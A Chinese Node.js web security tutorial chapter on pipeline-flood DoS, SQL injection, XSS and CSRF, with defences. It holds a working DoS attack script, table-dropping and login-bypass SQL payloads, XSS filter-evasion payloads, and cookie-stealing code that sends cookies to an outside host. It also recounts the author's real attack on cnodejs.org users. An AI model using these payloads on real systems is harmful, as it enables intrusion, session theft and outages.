web安全實戰

jopen 10年前發布 | 129K 次閱讀 web安全 安全相關

前言

本章將主要介紹使用Node.js開發web應用可能面臨的安全問題,讀者通過閱讀本章可以了解web安全的基本概念,并且通過各種防御措施抵御一些常規的惡意攻擊,搭建一個安全的web站點。

在學習本章之前,讀者需要對HTTP協議、SQL數據庫、Javascript有所了解。

什么是web安全

在互聯網時代,數據安全與個人隱私受到了前所未有的挑戰,我們作為網站開發者,必須讓一個web站點滿足基本的安全三要素:

(1)機密性,要求保護數據內容不能泄露,加密是實現機密性的常用手段。

(2)完整性,要求用戶獲取的數據是完整不被篡改的,我們知道很多OAuth協議要求進行sign簽名,就是保證了雙方數據的完整性。

(3)可用性,保證我們的web站點是可被訪問的,網站功能是正常運營的,常見DoS(Denail of Service 拒絕服務)攻擊就是破壞了可用性這一點。

安全的定義和意識

web安全的定義根據攻擊手段來分,我們把它分為如下兩類:

(1)服務安全,確保網絡設備的安全運行,提供有效的網絡服務。

(2)數據安全,確保在網上傳輸數據的保密性、完整性和可用性等。

我們之后要介紹的SQL注入,XSS攻擊等都是屬于數據安全的范疇,DoSSlowlori攻擊等都是屬于服務安全范疇。

在黑客世界中,用帽子的顏色比喻黑客的“善惡”,精通安全技術,工作在反黑客領域的安全專家我們稱之為白帽子,而黑帽子則是利用黑客技術謀取私利的犯罪群體。同樣都是搞網絡安全研究,黑、白帽子的職責完全不同,甚至可以說是對立的。對于黑帽子而言,他們只要找到系統的一個切入點就可以達到入侵破壞的目的,而白帽子必須將自己系統所有可能被突破的地方都設防,保證系統的安全運行。所以我們在設計架構的時候就應該有安全意識,時刻保持清醒的頭腦,可能我們的web站點100處都布防很好,只有一個點疏忽了,攻擊者就會利用這個點進行突破,讓我們另外100處的努力也白費。

同樣安全的運營也是非常重要的,我們為web站點建立起堅固的壁壘,而運營人員隨意使用root帳號,給核心服務器開通外網訪問IP等等一系列違規操作,會讓我們的壁壘瞬間崩塌。

Node.js中的web安全

Node.js作為一門新型的開發語言,很多開發者都會用它來快速搭建web站點,期間隨著版本號的更替也修復了不少漏洞。因為Node.js提供的網絡接口較PHP更為底層,同時沒有如apachenginx等web服務器的前端保護,Node.js應該更加關注安全方面的問題。

Http管道洪水漏洞

在Node.js版本0.8.260.10.21之前,都存在一個管道洪水的拒絕服務漏洞(pipeline flood DoS)。官網在發布這個漏洞修復代碼之后,強烈建議在生產環境使用Node.js的版本升級到0.8.260.10.21,因為這個漏洞威力巨大,攻擊者可以用很廉價的普通PC輕易的擊潰一個正常運行的Node.js的HTTP服務器。

這個漏洞產生的原因很簡單,主要是因為客戶端不接收服務端的響應,但客戶端又拼命發送請求,造成Node.js的Stream流無法泄洪,主機內存耗盡而崩潰,官網給出的解釋如下:

當在一個連接上的客戶端有很多HTTP請求管道,并且客戶端沒有讀取Node.js服務器響應的數據,Node.js的服務將可能被擊潰。強烈建議任何在生產環境下的版本是0.80.10HTTP服務器都盡快升級。新版本Node.js修復了問題,當服務端在等待stream流的drain事件時,socketHTTP解析將會停止。在攻擊腳本中,socket最終會超時,并被服務端關閉連接。如果客戶端并不是惡意攻擊,只是發送大量的請求,但是響應非常緩慢,那么服務端響應的速度也會相應降低。

現在讓我們看一下這個漏洞造成的殺傷力吧,我們在一臺4cpu,4G內存的服務器上啟動一個Node.js的HTTP服務,Node.js版本為0.10.7。服務器腳本如下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
},1000*60)

上述代碼我們啟動了一個Node.js服務器,監聽8124端口,響應1mb的字符h,同時每分鐘打印Node.js內存使用情況,方便我們在執行攻擊腳本之后查看服務器的內存使用情況。

在另外一臺同樣配置的服務器上啟動如下攻擊腳本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的發送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});

我們的攻擊腳本加載了net模塊,然后定義了一個基于HTTP協議的GET方法的請求頭,然后我們使用tcp連接到Node.js服務器,循環發送10W次GET請求,但是不監聽服務端響應事件,也就無法對服務端響應的stream流進行消費。下面是在攻擊腳本啟動10分鐘后,web服務器打印的內存使用情況:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

我們在服務器執行top命令,查看的系統內存使用情況如下:

Mem:   3925040k total,  3290428k used,   634612k free,   170324k buffers

可以看到,我們的攻擊腳本只用了一個socket連接就消耗掉大量服務器的內存,更可怕的是這部分內存不會自動釋放,需要手動重啟進程才能回收。攻擊腳本執行之后Node.js進程占用內存比之前提高近200倍,如果有2-3個惡意攻擊socket連接,服務器物理內存必然用完,然后開始頻繁的交換,從而失去響應或者進程崩潰。

SQL注入

從1998年12月SQL注入首次進入人們的視線,至今已經有十幾年了,雖然我們已經有了很全面的防范SQL注入的對策,但是它的威力仍然不容小覷。

注入技巧

SQL注入大家肯定不會陌生,下面就是一個典型的SQL注入示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
    // ...
});

正常情況下,我們都可以得到正確的用戶信息,比如用戶通過瀏覽器訪問/user/info?id=11進入個人中心,而我們根據用戶傳遞的id參數展現此用戶的詳細信息。但是如果有惡意用戶的請求地址為/user/info?id=11";drop table user--,那么最后拼接而成的SQL查詢語句就是:

select * from user where id = "11";drop table user--

注意最后連續的兩個減號表示忽略此SQL語句后面的語句。原本執行的查詢用戶信息的SQL語句,在執行完畢之后會把整個user表丟棄掉。

這是另外一個簡單的注入示例,比如用戶的登錄接口查詢,我們會根據用戶的登錄名和密碼去數據庫查找匹配,如果找到相應的記錄,則表示用戶名和密碼匹配,提示用戶登錄成功;如果沒有找到記錄,則認為用戶名或密碼錯誤,表示登錄失敗,代碼如下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//對密碼加密
var sqlStr = 'select * from user where username="'+ username +'" and password="'+ password +'";

如果我們提交上來的用戶名參數是這樣的格式:snoopy" and 1=1--,那么拼接之后的SQL查詢語句就是如下內容:

select * from user where username = "snoopy" and 1=1-- " and password="698d51a19d8a121ce581499d7b701668";

執行這樣的SQL語句永遠會匹配到用戶數據,就算我們不知道密碼也能順利登錄到系統。如果在我們嘗試注入SQL的網站開啟了錯誤提示顯示,會為攻擊者提供便利,比如攻擊者通過反復調整發送的參數、查看錯誤信息,就可以猜測出網站使用的數據庫和開發語言等信息。

比如有一個信息發布網站,它的新聞詳細頁面url地址為/news/info?id=11,我們通過分別訪問/news/info?id=11 and 1=1/news/info?id=11 and 1=2,就可以基本判斷此網站是否存在SQL注入漏洞,如果前者可以訪問而后者頁面無法正常顯示的話,那就可以斷定此網站是通過如下的SQL來查詢某篇新聞內容的:

var sqlStr = 'select * from news where id="'+id+'"';

因為1=2這個表達式永遠不成立,所以就算id參數正確也無法通過此SQL語句返回真正的數據,當然就會出現無法正常顯示頁面的情況。我們可以使用一些檢測SQL注入點的工具來掃描一個網站哪些地方具有SQL注入的可能。

通過url參數和form表單提交的數據內容,開發者通常都會為之做嚴密防范,開發人員必定會對用戶提交上來的參數做一些正則判斷和過濾,再丟到SQL語句中去執行。但是開發人員可能不太會去關注用戶HTTP的請求頭,比如cookie中存儲的用戶名或者用戶id,referer字段以及User-Agent字段。

比如,有的網站可能會去記錄注冊用戶的設備信息,通常記錄用戶設備信息是根據請求頭中的User-Agent字段來判斷的,拼接如下查詢字符串就有存在SQL注入的可能。

var username = escape(req.body["username"]);//使用escape函數,過濾SQL注入
var password = md5(req.body["password"]+salt);//對密碼加密
var agent = req.header["user-agent"];//注意Node.js的請求頭字段都是小寫的
var sqlStr = 'insert into user username,password,agent values "'+username+'", "'+password+'", "'+agent+'"';

這時候我們通過發包工具,偽造HTTP請求頭,如果將請求頭中的User-Agent修改為:';drop talbe user--,我們就成功注入了網站。

防范措施

防范SQL注入的方法很簡單,只要保證我們拼接到SQL查詢語句中的變量都經過escape過濾函數,就基本可以杜絕注入了,所以我們一定要養成良好的編碼習慣,對客戶端請求過來的任何數據都要持懷疑態度,將它們過濾之后再丟到SQL語句中去執行。我們也可以使用一些比較成熟的ORM框架,它們會幫我們阻擋掉SQL注入攻擊。

XSS腳本攻擊

XSS是什么?它的全名是:Cross-site scripting,為了和CSS層疊樣式表區分,所以取名XSS。它是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML標簽以及用戶端腳本語言。

名城蘇州網站注入

XSS注入常見的重災區是社交網站和論壇,越是讓用戶自由輸入內容的地方,我們就越要關注其能否抵御XSS攻擊。XSS注入的攻擊原理很簡單,構造一些非法的url地址或js腳本讓HTML標簽溢出,從而造成注入。一般引誘用戶點擊才觸發的漏洞我們稱為反射性漏洞,用戶打開頁面就觸發的稱為注入型漏洞,當然注入型漏洞的危害更大一些。下面先用一個簡單的實例來說明XSS注入無處不在。

名城蘇州(www.2500sz.com),是蘇州本地門戶網站,日均的pv數也達到了150萬,它的論壇用戶數很多,是本地化新聞、社區論壇做的比較成功的一個網站。

接下來我們將演示一個注入到2500sz.com的案例,我們先注冊成一個2500sz.com站點會員,進入論壇板塊,開始發布新帖。打開發帖頁面,在web編輯器中輸入如下內容:

2500 xss 1

上面的代碼即為分享一個網絡圖片,我們在圖片的src屬性中直接寫入了javascript:alert('xss');,操作成功后生成帖子,用IE6、7的用戶打開此帖子就會出現下圖的alert('xss')彈窗。

2500 xss 2

當然我們要將標題設計的非常奪人眼球,比如“Pm2.5霧霾真相披露” ,然后將里面的alert換成如下惡意代碼:

location.+document.cookie;

這樣我們就獲取到了用戶cookie的值,如果服務端session設置過期很長的話,以后就可以偽造這個用戶的身份成功登錄而不再需要用戶名密碼,關于sessioncookie的關系我們在下一節中將會詳細講到。這里的location.href只是出于簡單,如果做了跳轉這個帖子很快會被管理員刪除,但我們寫如下代碼,并且帖子的內容也是真實的,那么就會禍害很多人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

這樣就神不知鬼不覺的把當前用戶cookie的值發送到惡意站點,惡意站點通過GET參數,就能獲取用戶cookie的值。通過這個方法可以拿到用戶各種各樣的私密數據。

Ajax的XSS注入

另一處容易造成XSS注入的地方是Ajax的不正確使用。

比如有這樣的一個場景,在一篇博文的詳細頁,很多用戶給這篇博文留言,為了加快頁面加載速度,項目經理要求先顯示博文的內容,然后通過Ajax去獲取留言的第一頁信息,留言功能通過Ajax分頁保證了頁面的無刷新和快速加載,此做法的好處有:

(1)加快了博文詳細頁的加載,提升了用戶體驗,因為留言信息往往有用戶頭像、昵稱、id等等,需要多表查詢,且一般用戶會先看博文,再拉下去看留言,這時留言已加載完畢。

(2)Ajax的留言分頁能更快速響應,用戶不必每次分頁都讓博文重新刷新。

于是前端工程師從PHP那獲取了json數據之后,將數據放入DOM文檔中,大家能看出下面代碼的問題嗎?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
    //通過Ajax獲取評論內容,然后將品論的內容一起加載到頁面中
    if(data.state !== 200)  return commentObj.html('留言加載失敗。')
    commentObj.html(data.content);
},'json');

我們設計的初衷是,PHP程序員將留言內容套入模板,返回json格式數據,示例如下:

{"state":200, "content":"模板的字符串片段"}

如果沒有看出問題,大家可以打開firebug或者chrome的開發人員工具,直接把下面代碼粘貼到有JQuery插件的網站中運行:

$('div:first').html('<div><script>alert("xss")</script><div>');

正常彈出了alert框,你可能覺得這比較小兒科。

如果PHP程序員已經轉義了尖括號<>還有單雙引號"',那么上面的惡意代碼會被漂亮的變成如下字符輸出到留言內容中:

$('div:first').html('&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; ');

這里我們需要表揚一下PHP程序員,可以將一些常規的XSS注入都屏蔽掉,但是在utf-8編碼中,字符還有另一種表示方式,那就是unicode碼,我們把上面的惡意字符串改寫成如下:

$('div:first').html('<div>\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e</div>');

大家發現還是輸出了alert框,只是這次需要將寫好的惡意代碼放入轉碼工具中做下轉義,webqq曾經就爆出過上面這種unicode碼的XSS注入漏洞,另外有很多反射型XSS漏洞因為過濾了單雙引號,所以必須使用這種方式進行注入。

base64注入

除了比較老的ie6、7瀏覽器,一般瀏覽器在加載一些圖片資源的時候我們可以使用base64編碼顯示指定圖片,比如下面這段base64編碼:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... 省略若干字符) AAAASUVORK5CYII=" />

表示的就是一張Node.js官網的logo,圖片如下:

base64 logo

我們一般使用這樣的技術把一些網站常用的logo或者小圖標轉存成為base64編碼,進而減少一次客戶端向服務器的請求,加快用戶加載頁面速度。

我們還可以把HTML頁面的代碼隱藏在data屬性之中,比如下面的代碼將打開一個hello world的新頁面。

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world</body></html>">click me</a>

根據這樣的特性,我們就可以嘗試把一些惡意的代碼轉存成為base64編碼格式,然后注入到a標簽里去,從而形成反射型XSS漏洞,我們編碼如下代碼。

<img src=x onerror=alert(1)>

經過base64編碼之后的惡意代碼如下。

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

用戶在點擊這個超鏈接之后,就會執行如上的惡意alert彈窗,就算網站開發者過濾了單雙引號",'和左右尖括號<>,注入還是能夠生效的。

不過這樣的注入因為跨域的問題,惡意腳本是無法獲取網站的cookie值。另外如果網站提供我們自定義flash路徑,也是可以使用相同的方式進行注入的,下面是一段規范的在網頁中插入flash的代碼:

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

把data屬性改寫成如下惡意內容,也能夠通過base64編碼進行注入攻擊:

<script>alert("Hello");</script>

經過編碼過后的注入內容:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

用戶在打開頁面后,會彈出alert框,但是在chrome瀏覽器中是無法獲取到用戶cookie的值,因為chrome會認為這個操作不安全而禁止它,看來我們的瀏覽器為用戶安全也做了不少的考慮。

常用注入方式

注入的根本目的就是要HTML標簽溢出,從而執行攻擊者的惡意代碼,下面是一些常用攻擊手段:

(1)alert(String.fromCharCode(88,83,83)),通過獲取字母的ascii碼來規避單雙引號,這樣就算網站過濾掉單雙引號也還是可以成功注入的。

(2)<IMG SRC=JaVaScRiPt:alert('XSS')>,通過注入img標簽來達到攻擊的目的,這個只對ie6和ie7下有效,意義不大。

(3)<IMG SRC=""onerror="alert('xxs')">,如果能成功閉合img標簽的src屬性,那么加上onload或者onerror事件可以更簡單的讓用戶遭受攻擊。

(4)<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>,這種方式也只有對ie6奏效。

(5)<IMG SRC="jav ascript:alert('XSS');"><IMG SRC=java\0script:alert(\"XSS\")>,<IMG SRC="jav&#x0D;ascript:alert('XSS');">,我們也可以把關鍵字Javascript分開寫,避開一些簡單的驗證,這種方式ie6統統中招,所以ie6真不是安全的瀏覽器。

(6)<LINK REL="stylesheet" HREF="javascript:alert('XSS');">,通過樣式表也能注入。

(7)<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,如果可以自定義style樣式,也可能被注入。

(8)<IFRAME SRC="javascript:alert('XSS');"></IFRAME>,iframe的標簽也可能被注入。

(9)<a href="javasc&NewLine;ript&colon;alert(1)">click</a>,利用&NewLine;偽裝換行,&colon;偽裝冒號,從而避開對Javascript關鍵字以及冒號的過濾。

其實XSS注入過程充滿智慧,只要你反復嘗試各種技巧,就可能在網站的某處攻擊成功。總之,發揮你的想象力去注入吧,最后別忘了提醒下站長哦。更多XSS注入方式參閱:(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet]

防范措施

對于防范XSS注入,其實只有兩個字過濾,一定要對用戶提交上來的數據保持懷疑,過濾掉其中可能注入的字符,這樣才能保證應用的安全。另外,對于入庫時過濾還是讀庫時過濾,這就需要根據應用的類型來進行選擇了。下面是一個簡單的過濾HTML標簽的函數代碼:

var escape = function(html){
  return String(html)
    .replace(/&(?!\w+;)/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

不過上述的過濾方法會把所有HTML標簽都轉義,如果我們的網站應用確實有自定義HMTL標簽的需求的話,它就力不從心了。這里我推薦一個過濾XSS注入的模塊,由本書另一位作者老雷提供:js-xss

CSRF請求偽造

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一種對網站的惡意利用,CSRFXSS更具危險性。

Session詳解

想要深入理解CSRF攻擊的特性,我們必須了解網站session的工作原理。

session我想大家都不會陌生,無論你用Node.js或PHP開發過網站的肯定都用過session對象,假如我把瀏覽器的cookie禁用了,大家認為session還能正常工作嗎?

答案是否定的,我舉個簡單的例子來幫助大家理解session的含義。

比如我辦了一張超市的儲值會員卡,我能享受部分商品打折的優惠,我的個人資料以及卡內余額都是保存在超市會員數據庫里的。每次結賬時,出示會員卡超市便能知道我的身份,隨即進行打折優惠并扣除卡內相應余額。

這里我們的會員卡卡號就相當于保存在cookie中的sessionid,而我的個人信息就是保存在服務端的session對象,因為cookie有兩個重要特性,(1)同源性,保證了cookie不會跨域發送造成泄密;(2)附帶性,保證每次請求服務端都會在請求頭中帶上cookie信息。也就是這兩個特性為我們識別用戶帶來的便利,因為HTTP協議是無狀態的,我們之所以知道請求用戶的身份,其實就是獲取了用戶請求頭中的cookie信息。

當然session對象的保存方法多種多樣,可以保存在文件中,也可以是內存里。考慮到分布式的橫向擴展,我們還是建議生產環境把它保存在第三方媒介中,比如redis或者mongodb,默認的express框架是將session對象保存在內存里的。

除了用cookie保存sessionid,我們還可以使用url參數來保存sessionid,只不過每次請求都需要在url里帶上這個參數,根據這個參數,我們就能識別此次請求的用戶身份了。

另外近階段利用Etag來保存sessionid也被使用在用戶行為跟蹤上,Etag是靜態資源服務器對用戶請求頭中if-none-match的響應,一般我們第一次請求某一個靜態資源是不會帶上任何關于緩存信息的請求頭的,這時候靜態資源服務器根據此資源的大小和最終修改時間,哈希計算出一個字符串作為Etag的值響應給客戶端,如下圖:

etag 1

第二次當我們再訪問這個靜態資源的時候,由于本地瀏覽器具有此圖片的緩存,但是不確定服務器是否已經更新掉了這個靜態資源,所以在發起請求的時候會帶上if-none-match參數,其值就是上次請求服務器響應的Etag值。服務器接收到這個if-none-match的值,再根據原算法去生成Etag值,進行比對。如果兩個值相同,則說明該靜態資源沒有被更新,于是響應狀態碼304,告訴瀏覽器放心的使用本地緩存,遠程資源沒有更新,結果如下圖:

etag 2

當然如果遠程資源有變動,則服務器會響應一份新的資源給瀏覽器,并且Etag的值也會不同。根據這樣的一個特性,我們可以得出結論,在用戶第一次請求某一個靜態資源的時候我們響應給它一個全局唯一的Etag值,在用戶不清空緩存的情況下,用戶下次再請求到服務器,還是會帶上同一個Etag值的,于是我們可以利用這個值作為sessionid,而我們在服務器端保存這些Etag值和用戶信息的對應關系,也就可以利用Etag來標識出用戶身份了。

CSRF的危害性

在我們理解了session的工作機制后,CSRF攻擊也就很容易理解了。CSRF攻擊就相當于惡意用戶復制了我的會員卡,用我的會員卡享受購物的優惠折扣,更可以使用我購物卡里的余額購買他的東西!

CSRF的危害性已經不言而喻了,惡意用戶可以偽造某一個用戶的身份給其好友發送垃圾信息,這些垃圾信息的超鏈接可能帶有木馬程序或者一些詐騙信息(比如借錢之類的)。如果發送的垃圾信息還帶有蠕蟲鏈接的話,接收到這些有害信息的好友一旦打開私信中的鏈接,就也成為了有害信息的散播者,這樣數以萬計的用戶被竊取了資料、種植了木馬。整個網站的應用就可能在短時間內癱瘓。

MSN網站,曾經被一個美國的19歲小伙子Samy利用cssbackground漏洞幾小時內讓100多萬用戶成功的感染了他的蠕蟲,雖然這個蠕蟲并沒有破壞整個應用,只是在每一個用戶的簽名后面都增加了一句“Samy 是我的偶像”,但是一旦這些漏洞被惡意用戶利用,后果將不堪設想。同樣的事情也曾經發生在新浪微博上。

想要CSRF攻擊成功,最簡單的方式就是配合XSS注入,所以千萬不要小看了XSS注入攻擊帶來的后果,不是alert一個對話框那么簡單,XSS注入僅僅是第一步!

cnodejs官網攻擊實例

本節將給大家帶來一個真實的攻擊案例,學習Node.js編程的愛好者們肯定都訪問過cnodejs.org,早期cnodejs僅使用一個簡單的Markdown編輯器作為發帖回復的工具并沒有做任何限制,在編輯器過濾掉HTML標簽之前,整個社區alert彈窗滿天飛,下圖就是修復這個漏洞之前的各種注入情況:

csrf 1

先分析一下cnodejs被注入的原因,其實原理很簡單,就是直接可以在文本編輯器里寫入代碼,比如:

<script>alert("xss")</script>

如此光明正大的注入肯定會引起站長們的注意,于是站長關閉了markdown編輯器的HTML標簽功能,強制過濾直接在編輯器中輸入的HTML標簽。

cnodejs注入的風波暫時平息了,不過真的禁用了所有輸入的HTML標簽就安全了嗎?我們打開cnodejs網站的發帖頁面,發現編輯器其實還是可以插入超鏈接的,這個功能就是為了幫助開發者分享自己的web站點以及學習資料:

csrf 2

一般web編輯器的超鏈接功能最有可能成為反射型XSS的注入點,下面是web編輯器通常采取的超鏈接功能實現的原理,根據用戶填寫的超鏈接地址,生成<a>標簽:

<a href="用戶填寫的超鏈接地址">用戶填寫的超鏈接描述</a>

通常我們可以通過下面兩種方式注入<a>標簽:

(1)用戶填寫的超鏈接內容 = javascript:alert("xss");
(2)用戶填寫的超鏈接內容 = http://www.baidu.com#"onclick="alert('xss')"

方法(1)是直接寫入js代碼,一般都會被禁用,因為服務端一般會驗證url 地址的合法性,比如是否是http或者https開頭的。

方法(2)是利用服務端沒有過濾雙引號,從而截斷<a>標簽href屬性,給這個<a>標簽增加onclick事件,從而實現注入。

很可惜,經過升級的cnodejs網站編輯器將雙引號過濾,所以方法(2)已經行不通了。但是cnodejs并沒有過濾單引號,單引號我們也是可以利用的,于是我們注入如下代碼:

csrf 3

我們偽造了一個標題為bbbb的超鏈接,然后在href屬性里直接寫入js代碼alert,最后我們利用js的注釋添加一個雙引號結尾,企圖嘗試雙引號是否轉義。如果單引號也被轉義我們還可以嘗試使用String.fromCharCode();的方式來注入,上圖href屬性也可以改為:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))">用戶填寫的超鏈接描述</a>

下圖就是XSS注入成功,<a>標簽側漏的圖片:

csrf 4

在進行一次簡單的CSRF攻擊之前,我們需要了解一般網站是如何防范CSRF的。

網站通常在需要提交數據的地方埋入一個隱藏的input框,這個input框的name值可能是_csrf或者_input等,這個隱藏的input框就是用來抵御CSRF攻擊的,如果攻擊者引導用戶在其他網站發起post請求提交表單時,會因為隱藏框的_csrf值不同而驗證失敗,這個_csrf值將會記錄在session對象中,所以在其他惡意網站是無法獲取到這個值的。

但是當站點被XSS注入之后,隱藏框的防御CSRF功能將徹底失效。回到cnodejs站點,查看源碼,我們看到網站作者把_csrf值放到閉包內,然后通過模版渲染直接輸出,這樣看上去可以防御注入的腳本直接獲取_csrf的值,但是真的這樣嗎?我們看下面代碼的運行截圖:

csrf 5

我們用Ajax請求本頁地址,然后獲取整個頁面的文本,通過正則將_csrf的值匹配出來,拿到_csrf值后我們就可以為所欲為了,我們這次的攻擊的目的有2個:

(1)將我所發的這篇惡意主題置頂,要讓更多的用戶看到,想要帖子置頂,就必須讓用戶自動回復,但是如果一旦瘋狂的自動回復,肯定會被管理員發現,將導致主題被刪除或者引起其他受害者的注意。所以我構想了如下流程,先自動回復主題,然后自動刪除回復的主題,這樣就神不知鬼不覺了,用戶也不會發現自己回復過了,管理員也不會在意,因為帖子并沒有顯示垃圾信息。

(2)增加帳號snoopy的粉絲數,要讓受害者關注snoopy這個帳號,我們只要直接偽造受害者請求,發送到關注帳號的接口地址即可,當然這也是在后臺運行的。

下面是我們需要用到的cnodejs站點HTTP接口地址:

(1)發布回復
url地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post數據:
r_content:頂起來,必須的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(2)刪除回復
請求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post數據:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(3)關注
請求地址: http://cnodejs.org/ user/follow
post數據:
follow_id: '4efc278525fa69ac690000f7',//我在cnodejs網站的用戶id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

接口我們都拿到了,然后就是構建攻擊js腳本了,我們的js腳本攻擊流程就是:

(1)獲取_csrf

(2)發布回復

(3)刪除回復

(4)加關注

(5)跳轉到正常的地址(防止用戶發現)

最后我們將整個攻擊腳本放在NAE上(現在NAE已經關閉了,當年是比較流行的一個部署Node.js的云平臺),然后將攻擊代碼注入到<a>標簽:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id='follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js' onmousedown='$.getScript(this.name)//'

這次的注入攻擊chromefirefoxie7+等主流瀏覽器都無一幸免,下面是注入成功的截圖:

csrf 6

不一會就有許多網友中招了,我的關注信息記錄多了不少:

csrf 7

通過這次XSSCSRF的聯袂攻擊,snoopy成為了cnodejs粉絲數最多的帳號。回顧整個流程,主要還是依靠XSS注入才完成了攻擊,所以我們想要讓站點更加安全,任何XSS可能的注入點都一定要牢牢把關,徹底過濾掉任何可能有風險的字符。

csrf 8

另外值得一提的是cookie的劫持,惡意用戶在XSS注入成功之后,一般會用document.cookie來獲取用戶站點的cookie值,從而偽造用戶身份造成破壞。存儲在瀏覽器端的cookie有一個非常重要的屬性HttpOnly,當標識有HttpOnly屬性的cookie,攻擊者是無法通過js腳本document.cookie獲取的,所以對于一般sessionid的存儲我們都建議在寫入客戶端cookie時帶上HttpOnlyexpress在寫cookie帶上HttpOnly屬性的代碼如下:

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

應用層DoS拒絕服務

本章將介紹在應用層面的DoS攻擊,應用層一些很小的漏洞,就有可能被攻擊者抓住從而造成整個系統癱瘓,包括上面提到的Node.js管道拒絕服務漏洞都是屬于這類攻擊。

應用層和網絡層的DoS

最經典的網絡層DoS就是SYN flood,它利用了tcp協議的設計缺陷,由于tcp協議的廣泛使用,所以目前想要根治這個漏洞是不可能的。

tcp的客戶端和服務端想要建立連接需要經過三次握手的過程,它們分別是:

(1)客戶端向服務端發送SYN包

(2)服務端向客戶端發送SYN/ACK包

(3)客戶端向服務端發送ACK包

攻擊者首先使用大量肉雞服務器并偽造源ip地址,向服務端發送SYN包,希望建立tcp連接,服務端就會正常的響應 SYN/ACK包,等待客戶端響應。攻擊客戶端并不會去響應這些SYN/ACK包,服務端判斷客戶端超時就會丟棄這個連接。如果這些攻擊連接數量巨大,最終服務器就會因為等待和頻繁處理這種半連接而失去對正常請求的響應,從而導致拒絕服務攻擊成功。

通常我們會依靠一些硬件的防火墻來減輕這類攻擊帶來的危害,網絡層的DDoS攻擊防御算法非常復雜,我們本節將討論應用層的DoS攻擊。

應用層的DoS攻擊伴隨著一定的業務和web服務器的特性,所以攻擊更加多樣化。目前的商業硬件設備很難對其做到有效的防御,因此它的危害性絕對不比網絡層的DDoS低。

比如黑客在攻陷了幾個流量比較大的網站之后,在網頁中注入如下代碼:

<iframe src="http://attack web site url"></iframe>

這樣每個訪問這些網站的客戶端都成了黑客攻擊目標網站的幫手,如果被攻擊的路徑是一些需要大量I/O計算的接口的話,該目標網站將會很快失去響應,黑客DoS攻擊成功。

關注應用層的DoS往往需要從實際業務入手,找到可能被攻擊的地方,做針對性的防御。

超大Buffer

在開發中總有這樣的web接口,接收用戶傳遞上來的json字符串,然后將其保存到數據庫中,我們簡單構建如下代碼:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳代碼
  var body = [];
    req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
    })
    req.on('end',function(){
      body = Buffer.concat(body);
      res.writeHead(200, {'Content-Type': 'text/plain'});
      //db.save(body) 這里是數據庫入庫操作
      res.end('ok');
    })  
  }
}).listen(8124);

我們使用buffer數組,保存用戶發送過來的數據,最后通過Buffer.concat將所有buffer連接起來,并插入到數據庫。

注意這部分代碼:

req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
})

